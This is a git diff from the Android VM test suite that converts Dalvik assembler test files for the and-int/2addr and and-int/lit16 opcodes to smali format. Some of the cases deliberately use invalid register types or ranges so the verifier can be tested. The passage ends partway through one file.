+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_2.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 3.1415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d
deleted file mode 100644
index 4d26208..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_3.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       const-wide v0, 31415
-       and-int/2addr v0, v3
-       return v3
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali
new file mode 100644
index 0000000..6ea7fa9
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_3.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       const-wide v0, 31415
+       and-int/2addr v0, v3
+       return v3
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d
deleted file mode 100644
index 6bfff72..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_4.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali
new file mode 100644
index 0000000..2e1d14a
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_4.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d
deleted file mode 100644
index c7183c6..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_5.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(IF)I
-.limit regs 4
-       and-int/2addr v2, v3
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali
new file mode 100644
index 0000000..8bf249e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_5.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(IF)I
+.registers 4
+       and-int/2addr v2, v3
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d
deleted file mode 100644
index b5d1901..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_2addr_6.java
-.class public dot.junit.opcodes.and_int_2addr.d.T_and_int_2addr_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/2addr v2, v4
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali
new file mode 100644
index 0000000..f523f5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_2addr_6.java"
+.class  public Ldot/junit/opcodes/and_int_2addr/d/T_and_int_2addr_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/2addr v2, v4
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d
deleted file mode 100644
index ebc9f85..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_1.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_1
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 15
-       and-int/lit16 v0, v0, 8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali
new file mode 100644
index 0000000..9fc8b5e
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_1.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_1;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 15
+       and-int/lit16 v0, v0, 8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d
deleted file mode 100644
index ce46afc..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_10.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_10
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run(II)I
-.limit regs 4
-
-       and-int/lit16 v0, v4, 1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali
new file mode 100644
index 0000000..d1c3461
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_10.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_10;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run(II)I
+.registers 4
+
+       and-int/lit16 v0, v4, 1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d
deleted file mode 100644
index a76ada7..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_2.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_2
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, -7
-       and-int/lit16 v0, v0, -8
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali
new file mode 100644
index 0000000..2495e43
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_2.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_2;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, -7
+       and-int/lit16 v0, v0, -8
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d
deleted file mode 100644
index c5f54e3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_3.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_3
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0xcafe
-       and-int/lit16 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali
new file mode 100644
index 0000000..c5fbba3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_3.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_3;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0xcafe
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d
deleted file mode 100644
index 7f31097..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_4.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_4
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 0
-       and-int/lit16 v0, v0, -1
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali
new file mode 100644
index 0000000..aeaca9f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_4.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_4;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 0
+       and-int/lit16 v0, v0, -1
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d
deleted file mode 100644
index d7c68f3..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_5.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_5
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v0, 32767
-       and-int/lit16 v0, v0, -32768
-       return v0
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali
new file mode 100644
index 0000000..e66fa46
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_5.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_5;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v0, 32767
+       and-int/lit16 v0, v0, -32768
+       return v0
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d
deleted file mode 100644
index 9c94b7e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_6.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()I
-.limit regs 4
-
-       const v2, 1
-       const-wide v0, 1.0
-       and-int/lit16 v0, v0, 1
-       return v2
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali
new file mode 100644
index 0000000..f9a896b
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6.smali
@@ -0,0 +1,36 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_and_int_lit16_6.java"
+.class  public Ldot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()I
+.registers 4
+
+       const v2, 1
+       const-wide v0, 1.0
+       and-int/lit16 v0, v0, 1
+       return v2
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d
deleted file mode 100644
index a272dfa..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/and_int_lit16/d/T_and_int_lit16_7.d
+++ /dev/null
@@ -1,36 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_and_int_lit16_7.java
-.class public dot.junit.opcodes.and_int_lit16.d.T_and_int_lit16_7
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
